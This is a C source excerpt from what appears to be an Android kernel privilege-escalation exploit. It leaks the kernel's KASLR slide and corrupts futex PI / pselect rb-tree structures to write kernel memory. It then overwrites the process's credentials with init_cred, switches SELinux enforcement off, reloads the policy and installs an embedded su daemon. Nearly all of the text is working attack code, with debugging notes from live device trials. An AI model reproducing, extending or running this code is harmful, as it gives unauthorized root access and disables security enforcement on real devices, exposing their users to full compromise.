        (transient_seen || (enforcing_before == 1 && enforcing_after == 0));
    pr_success("direct-canary selinux-shape1 B=%016zx Q=%016zx "
               "route=%d enforcing=%d->%d transient_seen=%d ok=%d\n",
               b, q, shape1_ok, enforcing_before, enforcing_after,
               transient_seen, selinux_ok);
    return selinux_ok;
  }
  int rr = direct_read_shape0_exact64_once(
      q, &observed, "boot_id_shape0_canary", 1, &write_idx);
  if (rr != DIRECT_R64_OK) {
    pr_error("direct-canary failed result=%d B=%016zx Q=%016zx\n",
             rr, b, q);
    return 0;
  }
  if (selinux_probe) {
    int enforcing_after = direct_read_enforcing();
    int selinux_ok = enforcing_before == 1 && enforcing_after == 0;
    pr_success("direct-canary selinux B=%016zx Q=%016zx "
               "enforcing=%d->%d ok=%d\n",
               b, q, enforcing_before, enforcing_after, selinux_ok);
    return selinux_ok;
  }
  pr_success("direct-canary passed shape0 B=%016zx Q=%016zx observed=%016llx\n",
             b, q, (unsigned long long)observed);
  return 1;
}

static int direct_reload_selinux_policy(size_t *policy_size) {
  int policy_fd = open("/sys/fs/selinux/policy", O_RDONLY | O_CLOEXEC);
  if (policy_fd < 0) {
    return 0;
  }
  struct stat st;
  if (fstat(policy_fd, &st) != 0 || st.st_size <= 0 ||
      st.st_size > 32 * 1024 * 1024) {
    close(policy_fd);
    return 0;
  }
  size_t len = (size_t)st.st_size;
  unsigned char *policy = malloc(len);
  if (!policy) {
    close(policy_fd);
    return 0;
  }
  size_t done = 0;
  while (done < len) {
    ssize_t got = read(policy_fd, policy + done, len - done);
    if (got < 0 && errno == EINTR) {
      continue;
    }
    if (got <= 0) {
      free(policy);
      close(policy_fd);
      return 0;
    }
    done += (size_t)got;
  }
  close(policy_fd);

  int load_fd = open("/sys/fs/selinux/load", O_WRONLY | O_CLOEXEC);
  if (load_fd < 0) {
    free(policy);
    return 0;
  }
  ssize_t wrote;
  do {
    wrote = write(load_fd, policy, len);
  } while (wrote < 0 && errno == EINTR);
  int saved_errno = errno;
  close(load_fd);
  free(policy);
  errno = saved_errno;
  if (wrote != (ssize_t)len) {
    return 0;
  }
  if (policy_size) {
    *policy_size = len;
  }
  return 1;
}

static int direct_run_id(void) {
  pid_t child = fork();
  if (child < 0) {
    return 0;
  }
  if (child == 0) {
    execl("/system/bin/id", "id", (char *)NULL);
    _exit(127);
  }

  int status = 0;
  for (;;) {
    pid_t got = waitpid(child, &status, 0);
    if (got == child) {
      break;
    }
    if (got < 0 && errno == EINTR) {
      continue;
    }
    return 0;
  }
  return WIFEXITED(status) && WEXITSTATUS(status) == 0;
}

static int run_direct_root_stage(void) {
  int write_idx = 0;
  const int phys_only = getenv("DIRECT_PHYS_ONLY") != NULL;
  const int fops_mode =
      getenv("DIRECT_FOPS_PROBE") != NULL ||
      getenv("DIRECT_FOPS_ROOT") != NULL ||
      getenv("DIRECT_FOPS_ROOT_EXEC") != NULL ||
      getenv("DIRECT_FOPS_ROOT_DLOPEN") != NULL;

  /* A successful pselect return is not a FOPS marker proof.  The current
   * FOPS/tree profile has already produced kernel_panic before the helper in
   * live trials, so never enter it merely because the broad live-route ack
   * is present.  The explicit marker-proven switch is intentionally separate
   * and must be set only after a side-effect-free marker readback has been
   * recorded for this exact binary/boot. */
  const int explicit_marker_probe =
      getenv("DIRECT_FOPS_MARKER_PROBE") != NULL &&
      getenv("DIRECT_FOPS_ROOT_MARKER_PSELECT") != NULL &&
      getenv("DIRECT_FOPS_ROOT_EXEC") != NULL &&
      getenv("T807D_CRED_STAGE") == NULL &&
      getenv("T807D_CRED_FAKE_CRED") == NULL;
  if (fops_mode && getenv("DIRECT_FOPS_ROOT_EXEC") &&
      !getenv("DIRECT_FOPS_MARKER_PROVEN") && !explicit_marker_probe) {
    pr_error("direct FOPS root refused: marker readback is not proven; "
             "set DIRECT_FOPS_MARKER_PROVEN=1 only after the isolated "
             "marker gate passes\n");
    return 0;
  }

  /* FOPS is a page-relative pointer route.  For a nonzero fake_fops value,
   * shape-0 is required: rb_erase() consumes the value from the forged
   * parent field, while shape-1 places it in a child link and treats the
   * file_operations table as an rb_node.  Earlier runners combined
   * DIRECT_ROUTE_ONLY with a hand-written shape-0 value, which bypassed the
   * bridge stage and sent an unsafe tree into the PI cleanup path.  Make the
   * FOPS profile self-contained before any reclaim child is created.  Do not
   * install PSELECT_STACK_TREE_HELPER here: Round261 showed that the actual
   * stack-side waiter must retain the target geometry for the first write;
   * the page-side safe root and helper lock root contain the later cleanup. */
  if (fops_mode) {
    setenv("DIRECT_FOPS_PROBE", "1", 1);
    setenv("DIRECT_CUSTOM_VALUE_PAGE_FOPS", "1", 1);
    setenv("DIRECT_PAGE_TREE_CANARY", "1", 1);
    setenv("DIRECT_PAGE_TREE_ROOT_SAFE", "1", 1);
    setenv("PI_FAKE_PI_ROOT_SAFE", "1", 1);
    /* The helper-root graph is useful for the historical scalar route, but
     * it is not a valid replacement for the actual task->pi_blocked_on
     * waiter in the FOPS publication path.  Keep the old profile as the
     * default for compatibility, while allowing a one-variable diagnostic
     * to use the native singleton lock root (fake_w0). */
    if (!getenv("DIRECT_FOPS_NO_HELPER_ROOT")) {
      setenv("PI_HELPER_LOCK_ROOT", "1", 1);
      setenv("DIRECT_HELPER_ROOT_BLACK", "1", 1);
    }
    setenv("PI_FAKE_BLOCKED_ON", "1", 1);
    setenv("DIRECT_SINGLE_FOPS", "1", 1);
    /* Keep the live route out of the unrelated second PI cleanup walk. */
    setenv("DIRECT_SKIP_PI_UNLOCK", "1", 1);
    /* The physical profile already reaps the disposable route child.  A
     * second explicit FUTEX_UNLOCK_PI from that child was correlated with
     * hang_detect reboots after the helper had installed root.  Leave it
     * opt-in for forensic replay instead of making the live FOPS handoff
     * perform another PI walk. */
    setenv("DIRECT_NO_EXPLICIT_PI_CLEANUP", "1", 1);
  }

  pr_success("direct mode=init_cred runtime_cpu=%d address_mode=%s\n",
             direct_root_cpu, phys_only ? "direct-map" : "kaslr-image");
  pr_success("direct-step direct_root_enter uid=%u pid=%d\n",
             getuid(), getpid());

  /* The raw boot-id path is an independent readback gate.  It must be
   * dispatched before the legacy DIRECT_BOOTID_CANARY_ONLY branch, which
   * otherwise consumes the same mode flag and silently runs the shape-0
   * canary instead. */
  if (getenv("DIRECT_CUSTOM_RAW_BOOTID")) {
    int ok = direct_custom_scalar_canary();
    pr_info("direct-custom-raw-bootid-only result=%d\n", ok);
    return ok;
  }

  if (getenv("DIRECT_PAGE_ONLY")) {
    int ok = direct_prepare_page_only();
    pr_info("direct-page-only result=%d\n", ok);
    return ok;
  }

  if (getenv("DIRECT_BOOTID_CANARY_ONLY")) {
    if (getenv("DIRECT_ROUTE_ONLY") && !fops_mode) {
      uintptr_t target = 0;
      uintptr_t value = 0;
      int shape = 1;
      const char *shape_text = getenv("DIRECT_CUSTOM_SHAPE");
      if (!direct_parse_uintptr_env("DIRECT_CUSTOM_TARGET", &target, 1) ||
          !direct_parse_uintptr_env("DIRECT_CUSTOM_VALUE", &value, 1) ||
          !is_direct_ptr(target) || (target & 7) != 0) {
        pr_error("direct-route-only invalid target/value target=%016zx "
                 "value=%016zx\n", target, value);
        return 0;
      }
      if (shape_text && *shape_text) {
        char *end = NULL;
        long parsed = strtol(shape_text, &end, 0);
        if (end == shape_text || *end != '\0' || parsed < 0 || parsed > 1) {
          pr_error("direct-route-only invalid shape=%s\n", shape_text);
          return 0;
        }
        shape = (int)parsed;
      }
      pr_success("direct-route-only plan target=%016zx value=%016zx "
                 "shape=%d\n", target, value, shape);
      int ok = direct_pselect_write_once(target, value, shape, 0);
      pr_success("direct-route-only result=%d target=%016zx value=%016zx\n",
                 ok, target, value);
      return ok;
    }
    if (getenv("DIRECT_SELINUX_FOPS_CHAIN")) {
      const uintptr_t state = P0_DATA_ALIAS_CONST(SELINUX_ENFORCING);
      int before = direct_read_enforcing();
      pr_success("direct-selinux-fops-chain plan state=%016zx before=%d\n",
                 state, before);
      /* SELINUX_ENFORCING is state+0, the beginning of a packed
       * selinux_state object.  direct_pselect_write_once() stores a whole
       * qword; using value=0 here also clears adjacent state bytes and was
       * the direct cause of post-root app crashes/zygote instability.  The
       * live path now defers this operation to the FOPS bridge, which can do
       * a read-modify-write and verify that bytes 1..7 are unchanged. */
      if (!getenv("DIRECT_ALLOW_UNSAFE_SELINUX_QWORD")) {
        pr_error("direct-selinux-fops-chain refused unsafe full-qword zero; "
                 "use the bridge RMW root stage\n");
        return 0;
      }
      int ok;
      if (getenv("DIRECT_SELINUX_CUSTOM")) {
        /* Use the same sysctl-backed readback wrapper as the proven
         * Round208 scalar route.  The older special branch only checked the
         * route return value, which can be 1 even when the post-cleanup
         * scalar write is not retained. */
        ok = direct_custom_scalar_canary();
      } else {
        ok = direct_pselect_write_once(state, 0, 1, 0);
      }
      int after = direct_read_enforcing();
      pr_success("direct-selinux-fops-chain result route=%d enforce=%d->%d\n",
                 ok, before, after);
      if (ok && after == 0 && getenv("DIRECT_SELINUX_THEN_FOPS")) {
        /* Keep the two lifecycles in separate parent-side stages.  Chaining
         * a second allocator/reclaim cycle from the first reclaim child
         * leaves the child-side mm/slab state pinned and eventually times
         * out; returning to the parent after the SELinux scalar write avoids
         * that re-entrancy while preserving the modified kernel state. */
        setenv("DIRECT_CUSTOM_VALUE_PAGE_FOPS", "1", 1);
        setenv("DIRECT_FOPS_PROBE", "1", 1);
        uintptr_t misc_fops = direct_fops_target_alias();
        int fops_ok = direct_pselect_write_once(misc_fops, 0, 2, 1);
        pr_success("direct-selinux-then-fops target=%016zx route=%d\n",
                   misc_fops, fops_ok);
        return fops_ok;
      }
      return ok;
    }
    if (getenv("DIRECT_FOPS_PROBE")) {
      uintptr_t misc_fops = direct_fops_target_alias();
      pr_success("direct-fops-probe plan target=%016zx shape=2\n",
                 misc_fops);
      int ok = direct_pselect_write_once(misc_fops, 0, 2, 0);
      pr_info("direct-fops-probe-only result=%d\n", ok);
      return ok;
    }
    if (getenv("DIRECT_ZERO_WRITE_TARGET")) {
      int ok = direct_zero_scalar_write();
      pr_info("direct-zero-write-only result=%d\n", ok);
      return ok;
    }
    if (getenv("DIRECT_NETCORE_TABLE_SCAN")) {
      int ok = direct_scan_netcore_table();
      pr_info("direct-netcore-scan result=%d\n", ok);
      return ok;
    }
    if (getenv("DIRECT_CUSTOM_SYSCTL")) {
      int ok = direct_custom_scalar_canary();
      pr_info("direct-custom-canary-only result=%d\n", ok);
      return ok;
    }
    int ok = direct_bootid_shape0_canary();
    pr_info("direct-bootid-canary-only result=%d\n", ok);
    return ok;
  }

  /* FOPS bridge experiments do not need the historical __per_cpu_offset
   * shape-0 read.  That path is a separate, known-fragile oracle and can
   * consume the only reclaim window before the FOPS slot is installed.
   * Allow an explicit FOPS-only run to perform exactly one target write,
   * then let pipe.c open the forged table and exercise the bridge. */
  if (fops_mode && getenv("DIRECT_FOPS_SKIP_PERCPU")) {
    uintptr_t misc_fops = direct_fops_target_alias();
    pr_success("direct-fops-bootstrap plan target=%016zx shape=2\n",
               misc_fops);
    int ok = direct_pselect_write_once(misc_fops, 0, 2, 0);
    pr_info("direct-fops-bootstrap result=%d\n", ok);
    return ok;
  }

  /* Round108 proved that using __per_cpu_offset as Q is not a read oracle:
   * shape-0 writes B to Q+8 and corrupts the neighbouring per-cpu slot.
   * Keep the old route available only as an explicit forensic opt-in; all
   * normal runs must stop before touching that kernel-global array. */
  if (!getenv("DIRECT_UNSAFE_PERCPU_ORACLE")) {
    pr_error("direct refuses per_cpu_offset shape0 route; use "
             "DIRECT_BOOTID_CANARY_ONLY for the safe contract probe or "
             "DIRECT_UNSAFE_PERCPU_ORACLE for forensic replay\n");
    return 0;
  }

  int entry_cpu = -1;
  if (!direct_pin_verify_cpu(
          "root-enter", "root-stage", 0, write_idx, &entry_cpu)) {
    return 0;
  }
  pr_success("direct-root-parent cpu=%d pid=%d tid=%ld\n",
             entry_cpu, getpid(), syscall(SYS_gettid));

  /* The direct-map route is independent of the virtual KASLR slide: the
   * physical location of the decompressed kernel image is fixed, while its
   * image/data aliases remain stable.  Keep the old image-address route for
   * comparison, but make the direct-map choice explicit and auditable. */
  uintptr_t percpu_base = phys_only
      ? P0_DATA_ALIAS_CONST(PER_CPU_OFFSET)
      : canon_addr(PER_CPU_OFFSET);
  if (direct_root_cpu < 0 ||
      percpu_base > UINTPTR_MAX - (uintptr_t)direct_root_cpu * 8) {
    return 0;
  }
  uintptr_t percpu_slot =
      percpu_base + (uintptr_t)direct_root_cpu * sizeof(uint64_t);
  if (!is_kernel_ptr(percpu_slot) || (percpu_slot & 7) != 0) {
    pr_error("direct-percpu-fatal cpu=%d base=%016zx slot=%016zx\n",
             direct_root_cpu, percpu_base, percpu_slot);
    return 0;
  }

  uint64_t percpu_delta = 0;
  uintptr_t entry_slot = 0;
  for (int attempt = 1; attempt <= DIRECT_WRITE_ATTEMPTS; attempt++) {
    int rr = direct_read_shape0_exact64_once(
        percpu_slot, &percpu_delta, "per_cpu_offset", attempt, &write_idx);
    if (rr == DIRECT_R64_RETRY) {
      continue;
    }
    if (rr != DIRECT_R64_OK) {
      return 0;
    }

    /* DIRECT_FOPS_ROOT_EXEC hands the inherited bridge fd to the external
     * helper.  That helper now performs the credential transition and the
     * SELinux read-modify-write.  Do not continue into the legacy
     * per-cpu/entry-task/SELinux qword sequence after the handoff; doing so
     * created a second PI lifecycle and was the path correlated with
     * hang_detect reboots. */
    if (getenv("DIRECT_FOPS_ROOT_EXEC")) {
      pr_success("direct-fops-root-exec handoff complete; skipping legacy "
                 "direct credential and SELinux qword stages\n");
      return 1;
    }

    entry_slot = (phys_only
        ? P0_DATA_ALIAS_CONST(ENTRY_TASK)
        : canon_addr(ENTRY_TASK)) + (uintptr_t)percpu_delta;
    int delta_aligned = (percpu_delta & (PAGE_SIZE - 1)) == 0;
    int entry_direct = is_direct_ptr(entry_slot);
    int entry_aligned = (entry_slot & 7) == 0;
    pr_success("direct-percpu cpu=%d base=%016zx slot=%016zx "
               "delta=%016llx page_aligned=%d entry_slot=%016zx "
               "direct=%d aligned=%d\n",
               direct_root_cpu, percpu_base, percpu_slot,
               (unsigned long long)percpu_delta, delta_aligned,
               entry_slot, entry_direct, entry_aligned);
    if (!delta_aligned || !entry_direct || !entry_aligned) {
      pr_error("direct-percpu-fatal reason=bad-derived-entry cpu=%d\n",
               direct_root_cpu);
      return 0;
    }
    break;
  }
  if (!entry_slot) {
    pr_error("direct per-cpu entry slot derivation failed cpu=%d\n",
             direct_root_cpu);
    return 0;
  }
  pr_success("direct entry_slot=%016zx cpu=%d delta=%016llx\n",
             entry_slot, direct_root_cpu,
             (unsigned long long)percpu_delta);

  if (getenv("DIRECT_ORACLE_ONLY")) {
    pr_success("direct-oracle-only controlled r64 oracle passed; stopping before entry_task/cred stage\n");
    return 1;
  }

  uint64_t task = 0;
  for (int attempt = 1; attempt <= DIRECT_WRITE_ATTEMPTS; attempt++) {
    int rr = direct_read_shape0_exact64_once(
        entry_slot, &task, "entry_task", attempt, &write_idx);
    if (rr == DIRECT_R64_RETRY) {
      continue;
    }
    if (rr != DIRECT_R64_OK) {
      return 0;
    }

    int task_direct = task != 0 && is_direct_ptr((uintptr_t)task);
    int task_aligned = (task & 7) == 0;
    int cpu_now = sched_getcpu();
    pr_success("direct-entry cpu=%d observed_cpu=%d slot=%016zx "
               "task=%016llx direct=%d aligned=%d pid=%d tid=%ld\n",
               direct_root_cpu, cpu_now, entry_slot,
               (unsigned long long)task, task_direct, task_aligned,
               getpid(), syscall(SYS_gettid));
    if (cpu_now != direct_root_cpu ||
        !task_direct || !task_aligned) {
      pr_error("direct-entry-fatal reason=bad-task-or-cpu "
               "cpu=%d task=%016llx\n",
               cpu_now, (unsigned long long)task);
      return 0;
    }
    break;
  }
  if (!task) {
    pr_error("direct current task leak failed cpu=%d\n", direct_root_cpu);
    return 0;
  }
  pr_success("direct entry sample task=%016llx pid=%d cpu=%d\n",
             (unsigned long long)task, getpid(), direct_root_cpu);

  int enforcing = direct_read_enforcing();
  if (enforcing < 0) {
    pr_error("direct cannot read selinux enforcing state\n");
    return 0;
  }
  pr_success("direct pre-cred selinux preserved enforcing=%d\n", enforcing);

  uintptr_t init_cred = phys_only
      ? P0_DATA_ALIAS_CONST(INIT_CRED)
      : canon_addr(INIT_CRED);
  uintptr_t real_cred_slot = (uintptr_t)task + TASK_REAL_CRED_OFF;
  uintptr_t cred_slot = (uintptr_t)task + TASK_CRED_OFF;
  pr_success("direct-step before_init_cred uid=%u pid=%d task=%016llx\n",
             getuid(), getpid(), (unsigned long long)task);

  if (!getenv("DIRECT_ALLOW_UNSAFE_SELINUX_QWORD")) {
    pr_error("direct legacy root stage refuses full-qword SELinux write; "
             "use DIRECT_FOPS_ROOT_EXEC bridge RMW stage\n");
    return 0;
  }
  if (!direct_trigger_write64(
          "install_real_cred", real_cred_slot, init_cred, 1, &write_idx)) {
    pr_error("direct real_cred install failed\n");
    return 0;
  }
  uintptr_t selinux_target = phys_only
      ? P0_DATA_ALIAS_CONST(SELINUX_ENFORCING)
      : canon_addr(SELINUX_ENFORCING);
  if (!direct_trigger_write64_followup(
          "install_cred_then_selinux_zero", cred_slot, init_cred, 1,
          selinux_target, &write_idx)) {
    pr_error("direct cred install failed\n");
    return 0;
  }

  if (!restore_initial_affinity()) {
    pr_error("restore initial CPU affinity failed errno=%d\n", errno);
    return 0;
  }

  size_t policy_size = 0;
  if (!direct_reload_selinux_policy(&policy_size)) {
    return 0;
  }
  int enforcing_after = direct_read_enforcing();
  pr_success("direct credential result uid=%u euid=%u gid=%u egid=%u "
             "task=%016llx init_cred=%016zx selinux=%d->%d "
             "policy_reload=%zu\n",
             getuid(), geteuid(), getgid(), getegid(),
             (unsigned long long)task, init_cred, enforcing, enforcing_after,
             policy_size);

  int id_ok = direct_run_id();
  pid_t su_daemon_pid = -1;
  errno = 0;
  int su_ok = install_embedded_su(&su_daemon_pid);
  int su_errno = errno;
  int root_ok = getuid() == 0 && geteuid() == 0 && id_ok && su_ok &&
                enforcing_after == 0;
  pr_success("direct-root-summary root=%d id=%d su=%d/%d daemon=%d "
             "selinux=%d->%d uid=%u euid=%u gid=%u egid=%u\n",
             root_ok, id_ok, su_ok, su_errno, su_daemon_pid,
             enforcing, enforcing_after,
             getuid(), geteuid(), getgid(), getegid());
  return root_ok;
}

int run_exploit(int argc, char **argv) {
  disable_rseq_for_thread();
  set_unbuffer();
  set_limit();
  (void)argc;
  (void)argv;
  /* Check this before slide_leak_kernel_base().  The slide path is itself a
   * PI/pselect kernel route and must not run when the downstream FOPS/tree
   * route has no independent marker proof. */
  const int explicit_marker_probe =
      getenv("DIRECT_FOPS_MARKER_PROBE") != NULL &&
      getenv("DIRECT_FOPS_ROOT_MARKER_PSELECT") != NULL &&
      getenv("DIRECT_FOPS_ROOT_EXEC") != NULL &&
      getenv("T807D_CRED_STAGE") == NULL &&
      getenv("T807D_CRED_FAKE_CRED") == NULL;
  if (getenv("DIRECT_FOPS_ROOT_EXEC") &&
      !getenv("DIRECT_FOPS_MARKER_PROVEN") && !explicit_marker_probe) {
    pr_error("preload FOPS root gate: missing "
             "DIRECT_FOPS_MARKER_PROVEN=1; no kernel route started\n");
    return 1;
  }
  if (!init_direct_root_cpu()) {
    pr_error("runtime performance CPU detection failed errno=%d\n", errno);
    return 1;
  }
  log_startup_context();

  pin_to_core(CORE);
  if (getenv("DIRECT_PHYS_ONLY")) {
    /* Direct-map data targets do not need the virtual slide, but a forged
     * file_operations table still contains indirect-call targets.  CFI
     * checks those callbacks against the relocated kernel text, so an FOPS
     * run must retain the slide leak even when its data writes use the fixed
     * physical alias.  A previously verified slide may be supplied by a
     * separate slide-only pass; honoring it here is essential because it
     * avoids a second PI/pselect cycle before the FOPS/show stage.  The
     * explicit DIRECT_FORCE_RELEAK_SLIDE switch keeps the old behavior for
     * forensic A/B runs. */
    const int fops_mode =
        getenv("DIRECT_FOPS_PROBE") != NULL ||
        getenv("DIRECT_FOPS_ROOT") != NULL ||
        getenv("DIRECT_FOPS_ROOT_EXEC") != NULL ||
        getenv("DIRECT_FOPS_ROOT_DLOPEN") != NULL;
    const int skip_slide = getenv("DIRECT_FOPS_NO_SLIDE") != NULL;
    const char *forced_slide = getenv("DIRECT_KASLR_SLIDE");
    if (forced_slide && *forced_slide &&
        !getenv("DIRECT_FORCE_RELEAK_SLIDE")) {
      char *end = NULL;
      errno = 0;
      unsigned long long parsed = strtoull(forced_slide, &end, 0);
      if (errno || end == forced_slide || *end != '\0' ||
          parsed > UINTPTR_MAX - KIMAGE_TEXT_BASE) {
        pr_error("invalid DIRECT_KASLR_SLIDE=%s\n", forced_slide);
        return 1;
      }
      kaslr_slide = (uint64_t)parsed;
      kaslr_base = KIMAGE_TEXT_BASE + (uintptr_t)parsed;
      pr_info("direct physical route: using supplied virtual KASLR slide="
              "%016llx base=%016llx\n",
              (unsigned long long)kaslr_slide,
              (unsigned long long)kaslr_base);
    } else if (fops_mode && !skip_slide) {
      pr_info("direct physical route: retaining virtual KASLR slide for FOPS callbacks\n");
      if (!slide_leak_kernel_base()) {
        pr_error("direct FOPS route requires virtual KASLR slide leak\n");
        return 1;
      }
    } else {
      kaslr_base = KIMAGE_TEXT_BASE;
      kaslr_slide = 0;
      pr_info("direct physical route: skipping virtual KASLR slide%s\n",
              skip_slide ? " (explicit DIRECT_FOPS_NO_SLIDE=1)" : "");
    }
  } else {
    const char *forced_slide = getenv("DIRECT_KASLR_SLIDE");
    if (forced_slide && *forced_slide) {
      char *end = NULL;
      errno = 0;
      unsigned long long parsed = strtoull(forced_slide, &end, 0);
      if (errno || end == forced_slide || *end != '\0' ||
          parsed > UINTPTR_MAX - KIMAGE_TEXT_BASE) {
        pr_error("invalid DIRECT_KASLR_SLIDE=%s\n", forced_slide);
        return 1;
      }
      kaslr_slide = (uint64_t)parsed;
      kaslr_base = KIMAGE_TEXT_BASE + (uintptr_t)parsed;
      pr_info("forced virtual KASLR slide=%016llx base=%016llx\n",
              (unsigned long long)kaslr_slide,
              (unsigned long long)kaslr_base);
    } else if (!slide_leak_kernel_base()) {
      pr_error("slide kaslr leak failed\n");
      return 1;
    }
  }
  /* The external FOPS root helper is exec'd after the in-process slide
   * oracle completes.  Export the freshly verified value so that its
   * virtual init_task/per-cpu address derivation cannot fall back to the
   * stale direct-map aliases or a slide supplied by an earlier boot. */
  {
    char slide_env[32];
    snprintf(slide_env, sizeof(slide_env), "0x%llx",
             (unsigned long long)kaslr_slide);
    if (setenv("DIRECT_KASLR_SLIDE", slide_env, 1) != 0) {
      pr_error("failed to export live DIRECT_KASLR_SLIDE errno=%d\n", errno);
      return 1;
    }
    pr_success("live KASLR slide exported value=%s\n", slide_env);
  }

  if (getenv("DIRECT_SLIDE_ONLY")) {
    pr_success("direct-slide-only slide=%016llx base=%016llx\n",
               (unsigned long long)kaslr_slide,
               (unsigned long long)kaslr_base);
    return 0;
  }

  /*
   * slide 的 skb 已经被子进程消费,KASLR 也已读回;在父进程中释放本代
   * reclaim socket 与残留 mm pin,避免 direct worker 只关闭继承副本、
   * 而父进程仍把旧 partial slab 保活。
   */
  close_reclaim_sockets();
  cleanup_page_prepare_state();
  page_base = 0;
  fake_lock = 0;
  fake_w0 = 0;
  fake_task = 0;
  pr_info("slide generation released before direct stage\n");

  return run_direct_root_stage() ? 0 : 2;
}